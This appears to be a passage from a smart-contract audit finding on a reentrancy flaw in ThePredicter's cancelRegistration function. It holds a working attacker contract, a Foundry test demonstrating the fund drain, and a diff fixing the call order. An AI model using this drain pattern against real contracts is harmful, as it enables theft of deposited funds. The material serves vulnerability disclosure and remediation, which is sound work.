pragma solidity ^0.8.0;
import "./ThePredicter.sol";
contract Malicious {
ThePredicter public target;
constructor(ThePredicter _target) {
target = _target;
}
fallback() external payable {
if (address(target).balance >= 0.04 ether) {
target.cancelRegistration();
}
}
}
function test_Reentrancy() public {
vm.startPrank(address(maliciousContract));
vm.deal(address(maliciousContract), 1 ether);
vm.deal(address(thePredicter), 10 ether);
thePredicter.register{value:0.04 ether}();
console.log("Balance of thePredicter before:" ,address(thePredicter).balance );
console.log("Balance of maliciousContract before:" ,address(maliciousContract).balance );
thePredicter.cancelRegistration();
console.log("Balance of thePredicter after:" ,address(thePredicter).balance );
console.log("Balance of maliciousContract after:" ,address(maliciousContract).balance );
vm.stopPrank();
}
Change the players status before using the call function.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success, ) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
+ (bool success, ) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}